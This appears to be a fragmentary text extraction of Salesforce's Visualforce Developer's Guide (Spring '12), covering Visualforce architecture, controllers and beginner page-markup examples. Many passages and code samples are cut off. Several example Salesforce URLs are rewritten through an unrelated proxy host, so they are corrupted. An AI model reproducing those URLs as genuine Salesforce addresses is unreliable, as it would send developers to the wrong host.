Salesforce Pages Developers Guide
Salesforce Pages Developers Guide
0: Spring '12
Table of Contents
i
Table of Contents
Providing Status for Asynchronous Operations...........................................................................................................54
Applying Ajax Behavior to Events on Any Component..............................................................................................55
ii
Table of Contents
Defining Navigation Methods...................................................................................................................................110
Creating a Wizard.................................................................................................................................................................112
The Opportunity Wizard Controller.........................................................................................................................113
Step One of the Opportunity Wizard........................................................................................................................115
Step Two of the Opportunity Wizard.......................................................................................................................116
Step Three of the Opportunity Wizard.....................................................................................................................117
Advanced Visualforce Dashboard Components....................................................................................................................118
Integrating Visualforce and Google Charts...........................................................................................................................119
Mass-Updating Records with a Custom List Controller......................................................................................................123
iii
Table of Contents
Using a Custom Stylesheet in a Visualforce Email Template....................................................................................183
Adding Attachments.................................................................................................................................................185
Using Custom Controllers within Visualforce Email Templates..............................................................................188
iv
Table of Contents
JavaScript Remoting for Apex Controllers............................................................................................................................240
JavaScript Remoting Example...............................................................................................................................................243
v
Table of Contents
apex:inputField .....................................................................................................................................................................320
apex:inputFile .......................................................................................................................................................................322
apex:inputHidden .................................................................................................................................................................325
apex:inputSecret ...................................................................................................................................................................326
apex:inputText ......................................................................................................................................................................329
apex:inputTextarea ...............................................................................................................................................................331
apex:insert .............................................................................................................................................................................334
apex:legend ...........................................................................................................................................................................335
apex:lineSeries ......................................................................................................................................................................336
apex:listViews .......................................................................................................................................................................337
apex:message .........................................................................................................................................................................338
apex:messages .......................................................................................................................................................................340
apex:outputField ...................................................................................................................................................................342
apex:outputLabel ..................................................................................................................................................................343
apex:outputLink ...................................................................................................................................................................345
apex:outputPanel ..................................................................................................................................................................348
apex:outputText ....................................................................................................................................................................350
apex:page ..............................................................................................................................................................................352
apex:pageBlock .....................................................................................................................................................................356
apex:pageBlockButtons .........................................................................................................................................................358
apex:pageBlockSection .........................................................................................................................................................360
apex:pageBlockSectionItem ..................................................................................................................................................363
apex:pageBlockTable ............................................................................................................................................................366
apex:pageMessage .................................................................................................................................................................371
apex:pageMessages ...............................................................................................................................................................372
apex:panelBar .......................................................................................................................................................................373
apex:panelBarItem ................................................................................................................................................................375
apex:panelGrid .....................................................................................................................................................................377
apex:panelGroup ..................................................................................................................................................................381
apex:param ............................................................................................................................................................................382
apex:pieSeries .......................................................................................................................................................................383
apex:relatedList ....................................................................................................................................................................384
apex:repeat ............................................................................................................................................................................386
apex:scontrol .........................................................................................................................................................................388
apex:sectionHeader ...............................................................................................................................................................389
apex:selectCheckboxes ..........................................................................................................................................................390
apex:selectList .......................................................................................................................................................................393
apex:selectOption .................................................................................................................................................................397
apex:selectOptions ................................................................................................................................................................399
apex:selectRadio ...................................................................................................................................................................400
apex:stylesheet ......................................................................................................................................................................404
apex:tab .................................................................................................................................................................................405
apex:tabPanel ........................................................................................................................................................................407
apex:toolbar ..........................................................................................................................................................................410
apex:toolbarGroup ................................................................................................................................................................414
vi
Table of Contents
apex:variable .........................................................................................................................................................................415
apex:vote ...............................................................................................................................................................................416
chatter:feed ...........................................................................................................................................................................417
chatter:feedWithFollowers ...................................................................................................................................................418
chatter:follow ........................................................................................................................................................................418
chatter:followers ...................................................................................................................................................................419
chatter:newsfeed ...................................................................................................................................................................419
chatteranswers:allfeeds ..........................................................................................................................................................420
chatteranswers:changepassword ............................................................................................................................................420
chatteranswers:forgotpassword .............................................................................................................................................421
chatteranswers:forgotpasswordconfirm .................................................................................................................................421
chatteranswers:help ...............................................................................................................................................................422
chatteranswers:login .............................................................................................................................................................422
chatteranswers:registration ...................................................................................................................................................422
chatteranswers:singleitemfeed ..............................................................................................................................................423
flow:interview .......................................................................................................................................................................423
ideas:detailOutputLink .........................................................................................................................................................424
ideas:listOutputLink .............................................................................................................................................................425
ideas:profileListOutputLink .................................................................................................................................................427
knowledge:articleCaseToolbar ..............................................................................................................................................428
knowledge:articleList ............................................................................................................................................................429
knowledge:articleRendererToolbar .......................................................................................................................................430
knowledge:articleTypeList ...................................................................................................................................................431
knowledge:categoryList ........................................................................................................................................................431
liveAgent:clientChat .............................................................................................................................................................432
liveAgent:clientChatEndButton ...........................................................................................................................................433
liveAgent:clientChatInput ....................................................................................................................................................433
liveAgent:clientChatLog ......................................................................................................................................................434
liveAgent:clientChatMessages ..............................................................................................................................................434
liveAgent:clientChatQueuePosition .....................................................................................................................................435
liveAgent:clientChatSaveButton ..........................................................................................................................................435
liveAgent:clientChatSendButton .........................................................................................................................................435
messaging:attachment ..........................................................................................................................................................436
messaging:emailHeader ........................................................................................................................................................437
messaging:emailTemplate ....................................................................................................................................................438
messaging:htmlEmailBody ...................................................................................................................................................440
messaging:plainTextEmailBody ...........................................................................................................................................441
site:googleAnalyticsTracking ................................................................................................................................................442
site:previewAsAdmin ...........................................................................................................................................................443
social:profileViewer ..............................................................................................................................................................444
Appendices......................................................................................................................................446
vii
Table of Contents
Functions ..................................................................................................................................................................457
Expression Operators................................................................................................................................................470
Glossary...........................................................................................................................................512
Index...............................................................................................................................................521
viii
Chapter 1
Introducing Visualforce
Over the past several years, salesforce.com has created a comprehensive platform for building on-demand applications. Like
other sophisticated application development platforms, the Force.com platform offers separate tools for defining:
• The structure of the data—that is, the data model
• The rules that detail how that data can be manipulated—that is, the business logic
• The layouts that specify how that data should be displayed—that is, the user interface
Note: Splitting up application development tools based on whether they affect the data model, business logic, or user
interface is also known as the Model-View-Controller (MVC) application development pattern—the Model is the data
model, the View is the user interface, and the Controller is the business logic.
While the tools for building the data model and business logic for applications are powerful solutions that run natively on
Force.com platform servers, the existing tools for defining user interfaces have had certain limitations:
• Page layouts, the point-and-click tool that allows application developers to organize fields, buttons, and related lists on
record detail pages, do not provide much flexibility in how sets of information are displayed. Fields must always appear above
related lists, buttons must always appear above fields, and s-controls and custom links can only be placed in particular areas.
• S-controls, the tool that allows application developers to display custom HTML in a detail page or custom tab, provide
more flexibility than page layouts, but:
◊ Execute from within a browser, causing poor performance if displaying or updating values from more than a few records
at a time
◊ Do not provide an easy way to give custom user interface elements the same look-and-feel as standard Salesforce pages
◊ Require developers to enforce field uniqueness and other metadata dependencies on their own
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
For these reasons, salesforce.com has introduced Visualforce, the next-generation solution for building sophisticated custom
user interfaces on the Force.com platform.
What is Visualforce?
Visualforce is a framework that allows developers to build sophisticated, custom user interfaces that can be hosted natively on
the Force.com platform. The Visualforce framework includes a tag-based markup language, similar to HTML.
9
Introducing Visualforce What is a Visualforce Page?
In the Visualforce markup language, each Visualforce tag corresponds to a coarse or fine-grained user interface component,
such as a section of a page, a related list, or a field. The behavior of Visualforce components can either be controlled by the
same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller class written
in Apex.
See Also:
Building a Custom Controller
Building a Controller Extension
• Visualforce markup
• A Visualforce controller
Visualforce Markup
Visualforce markup consists of Visualforce tags, HTML, JavaScript, or any other Web-enabled code embedded within a single
<apex:page> tag. The markup defines the user interface components that should be included on the page, and the way they
should appear.
Visualforce Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified
in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that
should be displayed in a page, and can modify component behavior.
A developer can either use a standard controller provided by the Force.com platform, or add custom controller logic with a
class written in Apex:
• A standard controller consists of the same functionality and logic that is used for a standard Salesforce page. For example,
if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as
clicking Save on a standard Account edit page.
10
Introducing Visualforce Where Can Visualforce Pages Be Used?
If you use a standard controller on a page and the user doesn't have access to the object, the page will display a insufficient
privileges error message. You can avoid this by checking the user's accessibility for an object and displaying components
appropriately.
• A standard list controller enables you to create Visualforce pages that can display or act on a set of records. Examples of
existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages.
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller.
If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any
functionality that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions
of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the
user's profile.
• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller.
Extensions allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the
current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions.
Although the extension class executes in system mode, the standard controller executes in user mode. As with custom
controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.
Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user
permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role
hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using
the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide.
• Override standard buttons, such as the New button for accounts, or the Save button for contacts
• Override tab overview pages, such as the Accounts tab home page
• Define custom tabs
• Embed components in detail page layouts
• Create dashboard components or custom help pages
• Customize, extend, or integrate the sidebars in the Service Cloud console (custom console components)
11
Introducing Visualforce How is Visualforce Architected?
When a developer finishes writing a Visualforce page and saves it to the platform, the platform application server attempts to
compile the markup into an abstract set of instructions that can be understood by the Visualforce renderer. If compilation
generates errors, the save is aborted and the errors are returned to the developer. Otherwise, the instructions are saved to the
metadata repository and sent to the Visualforce renderer. The renderer turns the instructions into HTML and then refreshes
the developer's view, thereby providing instantaneous feedback to the developer for whatever changes were made in the markup.
The architecture diagram below shows the process flow when a non-developer user requests a Visualforce page. Because the
page is already compiled into instructions, the application server simply retrieves the page from the metadata repository and
sends it to the Visualforce renderer for conversion into HTML.
12
Introducing Visualforce What are the Benefits of Visualforce?
Note: Your Visualforce pages may be run on one of the force.com servers instead of a salesforce.com server.
See Also:
What is Visualforce?
What are the Benefits of Visualforce?
How Do Visualforce Pages Compare to S-Controls?
13
Introducing Visualforce When Should I Use Visualforce?
Concise syntax
Visualforce pages can implement the same functionality as s-controls but with approximately 90% fewer lines of code.
Data-driven defaults
Visualforce components are rendered intelligently by the platform. For example, rather than forcing page designers to
use different component tags for different types of editable fields (such as email addresses or calendar dates), designers
can simply use a generic <apex:inputField> tag for all fields. The Visualforce renderer displays the appropriate edit
interface for each field.
Hosted platform
Visualforce pages are compiled and rendered entirely by the Force.com platform. Because they are so tightly integrated,
they display the same performance as standard Salesforce pages, regardless of the amount of data being displayed or
edited.
Automatically upgradeable
Visualforce pages do not need to be rewritten when other parts of the Force.com platform are upgraded. Because the
pages are stored as metadata, they are automatically upgraded with the rest of the system.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and
customizing the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.
• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
14
Introducing Visualforce How Do Visualforce Pages Compare to S-Controls?
Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written. The following table outlines the differences
between Visualforce pages and s-controls.
15
Introducing Visualforce How is Visualforce Versioned?
Interaction with Apex Direct, by binding to a custom controller Indirect, by using Apex webService
methods through the API
Performance More responsive because markup is Less responsive because every call to the
generated on the Force.com platform API requires a round trip to the
server—the burden rests with the
developer to tune performance
Page container Native In an iFrame
See Also:
What is Visualforce?
What are the Benefits of Visualforce?
How is Visualforce Architected?
16
Introducing Visualforce What’s New in Visualforce Version 24.0
Note: You can only access the version settings for a page if you edit a page by clicking Your Name > Setup >
Develop > Pages. You cannot access them if you edit a page using Developer Mode.
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page.
3. Click Save.
See Also:
Managing Version Settings for Custom Components
Managing Package Version Settings for Visualforce Pages and Components
Starting in Spring ’12, Salesforce provides the <chatter:newsfeed/> Visualforce component. The component displays
the feed updates on the Chatter tab of the user viewing the Apex page that contains the embedded
<chatter:newsfeed/> component.
The <chatter:newsfeed/> component offers different functionality than the <chatter:feed/> component. The
<chatter:feed/> component displays only the Chatter updates on a user’s profile page or a record’s detail page.
• It’s only available for custom account, contact, and lead detail pages and can only be used once on a page.
• It isn’t available for Visualforce pages on Force.com sites.
• Social Accounts and Contacts must be enabled to use it.
17
Introducing Visualforce What’s New in Visualforce Version 24.0
Dynamic Visualforce components offer a way to create Visualforce pages that vary the content or arrangement of the
component tree according to a variety of states, such as a user’s permissions or actions, user or organization preferences,
the data being displayed, and so on. Rather than using standard markup, dynamic Visualforce components are designed
in Apex.
A dynamic Visualforce component is defined in Apex like this:
Component.Component_namespace.Component_name
Visualforce components that are dynamically represented in Apex behave like regular classes. Every attribute that exists
on a standard Visualforce component is available as a property in the corresponding Apex representation with get and
set methods. For example, you could manipulate the value attribute on an <apex:outputText> component as
follows:
Dynamic Visualforce is a powerful feature for advanced developers, and you’ll want to read about it in depth before using
it. See Dynamic Visualforce Components in the Visualforce Developer’s Guide.
<apex:page controller="logoController">
<h1>Logo Test</h1>
This is a dynamic reference to a static resource:
<apex:image value="{!$Resource[customLogo]}"/>
</apex:page>
18
Introducing Visualforce What’s New in Visualforce Version 24.0
This controller method returns a string, which is used to dynamically reference a graphic stored in a static resource, using
the global $Resource variable. You can dynamically return a graphic customized for the user’s role, the data being
displayed, the value of a custom setting, and so on. Use $Action to dynamically change links based on the data being
displayed, and use $ObjectType to work with a wide variety of object metadata.
To learn more about this powerful new feature, see Dynamic Visualforce Bindings in the Visualforce Developer’s Guide.
To assist customers with their validation processes, here are some technical details regarding Single View State. The
specific enhancement is to only include one copy of the view state per Visualforce page, no matter how many forms are
on that page. Previously every form on a page had a redundant copy of the view state, embedded in the form using a
hidden input field. If there were many forms on a page, this added up, increasing the amount of data that needed to be
transferred every time a page was loaded.
With Single View State enabled, Visualforce will only include one copy of the encoded view state, in a hidden input
field at the beginning of the page content. When a form is submitted the view state is dynamically attached to the form
via JavaScript and then submitted normally.
The enhancement makes a long-standing “best practice” obsolete. While we still recommend that you don’t overload
Visualforce pages with too much functionality all on one page, you no longer need to worry about using multiple forms
on a page. Using multiple forms will no longer “bloat” your page with extra copies of the view state.
These limits are intended to prevent unintentional runaway PDF file generation. Customers with Visualforce pages that
generate large PDF files that exceed these limits can contact salesforce.com to arrange for short-term increased limits.
19
Introducing Visualforce Documentation Typographical Conventions
single controller method or object property. Beginning with pages saved using API version 24.0, this error checking is
more strict for two specific cases:
Pages saved using API version 23.0 or earlier are subject to the previous validation behavior for input components. If
you want less strict validation, keep your pages saved in API version 23.0 or earlier.
Other Optimizations
Spring ’12 also brings a larger-than-usual collection of internal optimizations to improve the performance and robustness
of Visualforce. You won’t see them, but we think you’ll feel them.
Convention Description
Courier font In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Italics In description of syntax, italics represent variables. You supply the actual value. In the
following example, three values need to be supplied: datatype variable_name [ =
value];
If the syntax is bold and italic, the text represents a code element that needs a value
supplied by you, such as a class name or variable value:
<> In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as
shown.
<apex:column value="{!contact.Name}"/>
20
Introducing Visualforce Documentation Typographical Conventions
Convention Description
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
<apex:page>
Hello {!$User.FirstName}!
</apex:page>
| In descriptions of syntax, the pipe sign means “or”. You can do one of the following
(not all). In the following example, you can create a new unpopulated set in one of two
ways, or you can populate the set:
Set<data_type> set_name
[= new Set<data_type>();] |
[= new Set<data_type{value [, value2. . .] };] |
;
21
Tools for Visualforce Development Using the Development Mode Footer
Before you begin developing Visualforce pages and components, familiarize yourself with the different places to create them:
• The best way to build Visualforce is by enabling Visualforce development mode. Visualforce development mode is only
available for users with the “Customize Application” permission. Development mode provides you with:
1. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit.
2. Select the Development Mode checkbox.
3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the
development footer. This tab is useful for monitoring the performance of your Visualforce pages.
4. Click Save.
• You can also develop Visualforce pages through the Salesforce user interface by clicking Your Name > Setup > Develop
> Pages. For Visualforce components, click Your Name > Setup > Develop > Components.
• The Force.com IDE, a plug-in for the Eclipse IDE, offers capabilities not found elsewhere. The Force.com IDE provides
a unified interface for building and deploying Force.com applications, and includes tools such as source code editors, project
wizards, and integrated help. The IDE is designed for advanced developers and development teams.
• Click Page Editor to view and edit the associated Visualforce markup without having to return to the Setup area. All
changes you make to the page markup immediately display when you save the page.
• If the page uses a custom controller, click Controller to edit the associated Apex class.
• If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you
edit the associated Apex class.
22
Tools for Visualforce Development Using the Development Mode Footer
• If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
• Click Save (just above the edit pane) to save your changes and refresh the content of the page.
• Click Component Reference to view the documentation for all supported Visualforce components.
• Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers,
or other pages.
The View State tab is composed of folder nodes. If you click on any folder, a pie chart with a Content tab appears. This chart
displays the folder's child Visualforce custom controllers, Apex objects, or fields. You can see which elements contribute to
the parent's overall size by hovering over pieces of the graph. This is the same information as the individual text nodes. The
chart requires Flash version 6 or greater enabled on your browser.
Salesforce allows Visualforce pages to have a maximum view state size of 135KB. The View State tab shows you which elements
on your page are taking up that space. A smaller view state size generally means quicker load times. To minimize your pages'
view state, you can optimize your Apex controller code and remove any superfluous Visualforce components used. For example:
• If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions,
consider refining your SOQL calls to return only data that's relevant to the Visualforce page.
• If your view state is affected by a large component tree, try reducing the number of components your page depends on.
For more information on how to improve Visualforce using the View State tab, see Best Practices for Improving Visualforce
Performance on page 245.
The View State tab contains the following columns (in alphabetical order):
Column Description
% of Parent The percent of the overall size that the custom controller,
Apex object, or field contributes to the parent.
Name The name of the custom controller, Apex object, or field.
Size The view state size of the custom controller, Apex object, or
field.
23
Tools for Visualforce Development About the Visualforce Editor
Column Description
Type The type of custom controller, Apex object, or field.
Value The value of the field.
The Name column contains nodes defining the various parts of your Visualforce page. They are (in alphabetical order):
Node Description
Component Tree This represents the overall structure of your page. Its size is
affected by the number of components you have on the page.
Generally, fewer components means a smaller component tree,
which could result in faster load times. You can see how much
of your view state size is made up from the component tree
by clicking the View State folder.
Internal This represents the internal Salesforce data used by your
Visualforce page. This can't be controlled by developers. You
can see how much of your view state size is made up from
internal elements by clicking the State folder.
Expressions This represents the data used by formula expressions defined
in your Visualforce page.
State This folder contains all the Visualforce custom controllers,
Apex objects, or fields. By expanding the child Controller and
Controller Extension folders, you can see each object that's
on the page, its fields, and the value of those fields. Generally,
these are dependent on your Apex controller logic.
View State This folder contains all the nodes. By clicking on it, you can
find overall information about your Visualforce page's view
state. The Capacity tab tells you how much of your allotted
view state size is being used. If you exceed that amount, the
graph will also tell you how many kilobytes you've gone over.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
24
Tools for Visualforce Development About the Visualforce Editor
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
25
Chapter 3
Getting a Quick Start with Visualforce
To showcase the essential elements of Visualforce, this chapter includes a set of examples that demonstrate features of the
language. While the examples do not go into every detail, rule, or exception for every tag or controller, new Visualforce developers
can use this tutorial to understand how Visualforce works before proceeding to the more detailed descriptions in the remainder
of this guide.
The examples are broken up into beginner and advanced sections. The beginner examples primarily use Visualforce markup.
The advanced examples use Force.com Apex code in addition to Visualforce markup.
Advanced examples that require Apex are in their own chapter.
• Verify that your component tags start with the correct namespace identifier like apex:—that is, apex followed by a colon.
• Make sure that every opening quote and bracket has a closing one.
• Verify that the controller or controller extension is named correctly.
• Visualforce pages and components created using Salesforce API version 19.0 or higher must be written as well-formed
XML. In general, this means that elements must be correctly nested, non-empty elements must have an end tag, empty
elements must be terminated with a closing slash (“/”), and so on. The World Wide Web Consortium (W3C) provides
an article on the specifications of well-formed XML.
The following exceptions are allowed:
◊ Code that violates well-formed XML is permitted inside JavaScript. For example, you don't need to use <![CDATA[]]>
tags in Visualforce.
◊ Code that violates well-formed XML is permitted inside expressions. For example, you don't need to escape quotation
marks inside formulas.
◊ XML directives that are normally required at the beginning of a page—such as <?xml version="1.0"
encoding="UTF-8"?>—can occur inside top-level container tags, like <apex:page> and <apex:component>.
26
Getting a Quick Start with Visualforce Creating Your First Page
https://Salesforce_instance/apex/myNewPageName
For example, if you want to create a page called “HelloWorld” and your salesforce.com organization uses
na3.salesforce.com, enter http://na3.salesforce.com/apex/HelloWorld.
Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click
Create Page <myNewPageName> to create it automatically.
Note: If you do not have Visualforce development mode enabled, you can also create a new page by clicking Your
Name > Setup > Develop > Pages, and then clicking New.
Visualforce pages can always be edited from this part of setup, but to see the results of your edits you have to navigate
to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they
can view and edit pages in a single window.
You now have a Visualforce page that includes default text. To edit your new page, click the Page Editor bar that appears at
the bottom of the browser. It expands to show you the following Visualforce markup:
<apex:page>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Apex Page: HelloWorld
<!-- End Default Content REMOVE THIS -->
</apex:page>
This default markup includes the only required tag for any page— the <apex:page> tag that begins and ends any page
markup. Embedded within the start and close <apex:page> tags is plain text, some of which is formatted with a standard
HTML tag, <h1>.
27
Getting a Quick Start with Visualforce Displaying Field Values with Visualforce
As long as you keep the required <apex:page> tag you can add as much plain text or valid HTML to this page as you want.
For example, after entering the following code and clicking Save in the Page Editor, the page displays the text “Hello World!”
in bold:
<apex:page>
<b>Hello World!</b>
</apex:page>
Tip: Pay attention to warnings—the Visualforce editor displays a warning if you save a page with HTML that does
not include a matching end tag for every opened tag. Although the page saves, this malformed HTML might cause
problems in your rendered page.
<apex:page>
Hello {!$User.FirstName}!
</apex:page>
$User is a global variable that always represents the current user record. All global variables are referenced with a $ symbol.
For a list of global variables that you can use in Visualforce, see Global Variables on page 446.
To access fields from a record that is not globally available, like a specific account, contact, or custom object record, you need
to associate your page with a controller. Controllers provide pages with the data and business logic that make your application
run, including the logic that specifies how to access a particular object's records. While you can define a custom controller for
any page with Apex, Salesforce includes standard controllers for every standard and custom object.
For example, to use the standard controller for accounts, add the standardController attribute to the <apex:page> tag,
and assign it the name of the account object:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
</apex:page>
After you save your page, the Accounts tab is highlighted for the page, and the look-and-feel for the components on the page
match the Accounts tab. Additionally, you can now access fields on the account record currently in context by using
{!account.<fieldName>} expression syntax.
For example, to display an account's name on a page, use {!account.name} in the page markup:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
<p>You are viewing the {!account.name} account.</p>
</apex:page>
The {!account.name} expression makes a call to the getAccount() method in the standard Account controller to return
the record ID of the account currently in context. It then uses dot notation to access the name field for that record.
28
Getting a Quick Start with Visualforce Displaying Field Values with Visualforce
Note: You cannot access parent objects using this expression language. In other words, {!account.parent.name}
will return an error.
Note: When you save a page, the value attribute of all input components—<apex:inputField>,
<apex:inputText>, and so on—is validated to ensure it’s a single expression, with no literal text or white space,
and is a valid reference to a single controller method or object property. An error will prevent saving the page.
To bring an account record into the current context, you must add a query parameter to the page URL that specifies the ID
of the record. To do this:
1. Find the ID of an account by any means you wish. One easy way is to view the detail page of an account record and copy
the character code at the end of the URL. For example, if you navigate to an account detail page with the following URL:
https://na3.salesforce.com/001D000000IRt53
https://na3.salesforce.com/apex/HelloWorld2
https://Salesforce_instance/apex/HelloWorld2?id=001D000000IRt53
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
Once an account ID is specified in the URL, the page displays the appropriate account name, as shown in the following figure.
29
Getting a Quick Start with Visualforce Using the Visualforce Component Library
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
Tags also exist for other common Salesforce interface components, such as related lists, detail pages, and input fields. For
example, to add the content of a detail page, use the <apex:detail> component tag:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account.
</apex:pageBlock>
<apex:detail/>
</apex:page>
30
Getting a Quick Start with Visualforce Using the Visualforce Component Library
Without any specified attributes on the tag, <apex:detail> displays the complete detail view for the context record. If you
want to modify properties such as which record details are displayed, or whether related lists or the title appear, you can use
attributes on the tag. For example, the following markup displays the details of the context account's owner, without related
lists or a colored title bar:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account.
</apex:pageBlock>
<apex:detail subject="{!account.ownerId}" relatedList="false" title="false"/>
</apex:page>
31
Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page
To browse the component library, click Component Reference in the Page Editor. From this page you can drill down into
any component to see the attributes that are available for each, including any custom components that you define.
See Also:
Standard Component Reference
1. In your browser, add the text /apex/tabbedAccount to the URL for your Salesforce instance. For example, if your
Salesforce instance is https://na1.salesforce.com, the new URL would be
https://na1.salesforce.com/apex/tabbedAccount. You will get the following error message:
2. Click the Create Page tabbedAccount link to create the new page.
3. Click the Page Editor link in the bottom left corner of the page. This displays the code for the new page, which should
look like this:
<apex:page>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Page: tabbedAccount
<!-- End Default Content REMOVE THIS -->
</apex:page>
4. Replace the existing code with the following and click Save:
32
Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page
5. Notice that there is no data in the Account page. You need to specify the ID of a particular account in the URL, as you've
done with previous pages. For example,
https://Salesforce_instance/apex/tabbedAccount?id=001D000000IRt53
After you add in an account ID, your page should display as follows:
• <style> is actually part of CSS markup, not Visualforce markup. It defines the styles for two types of tabs: activeTab
and inactiveTab.
• <apex:tabPanel> is used to generate the tabs. Notice how it uses the following attributes:
◊ tabClass attribute: specifies the style class used to display a tab when it is active.
◊ inactiveTabClass attribute: specifies the style class used to display a tab when it is inactive.
33
Getting a Quick Start with Visualforce Redirecting to a Standard Object List Page
• Within the definition of the tab panel, is the definition of each child tab component, <apex:tab>. The first tab uses the
<apex:detail> tag to return that portion of the detail view for the page:
While the rest of the tabs use the <apex:relatedList> to specify the different parts of the account page. The following
is the tab for contacts. It uses an existing list of contacts.
Now that you've created a page to display an account with tabs, you can use this page to override the detail view for all accounts.
1. Click Your Name > Setup > Customize > Accounts > Buttons and Links.
2. In the Standard Buttons and Links related list, click Edit next to View.
3. For Override With select Visualforce Page.
4. From the Visualforce Page drop-down list, select tabbedAccount.
5. Click Save.
Click the Account tab, and select any account. The detail for the account is now displayed with tabs.
The Visualforce page can also refer to other standard objects, such as contacts, by changing the reference to the standard object.
For example:
34
Getting a Quick Start with Visualforce Using Input Components in a Page
The input component tag that is most often used in a form is <apex:inputField>. This tag renders the appropriate input
widget based on a standard or custom object field’s type. For example, if you use an <apex:inputField> tag to display a
date field, a calendar widget displays on the form. If you use an <apex:inputField> tag to display a picklist field, a
drop-down list displays instead. The <apex:inputField> tag can be used to capture user input for any standard or custom
object field, and respects any metadata that is set on the field definition, such as whether the field is required or unique, or
whether the current user has permission to view or edit it.
For example, the following page allows users to edit and save the name of an account:
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account. <p/>
Change Account Name: <p/>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton action="{!save}" value="Save New Account Name"/>
</apex:pageBlock>
</apex:form>
</apex:page>
• The <apex:inputField> tag is bound to the account name field by setting the tag’s valueattribute. The expression
contains the familiar {!account.name} dot-notation used to display the field’s value elsewhere in the page.
• The <apex:commandButton> tag has an actionattribute. The value for this attribute invokes the save action of the
standard Account controller, which performs identically to the Save button on the standard Account edit page.
Note: When you save a page, the value attribute of all input components—<apex:inputField>,
<apex:inputText>, and so on—is validated to ensure it’s a single expression, with no literal text or white space,
and is a valid reference to a single controller method or object property. An error will prevent saving the page.
35
Getting a Quick Start with Visualforce Adding and Customizing Input Field Labels
The only fields that the <apex:inputField> tag cannot display are those defined as member variables of a custom controller
class written in Apex. To gather data for these variables, use the <apex:inputCheckbox>, <apex:inputHidden>,
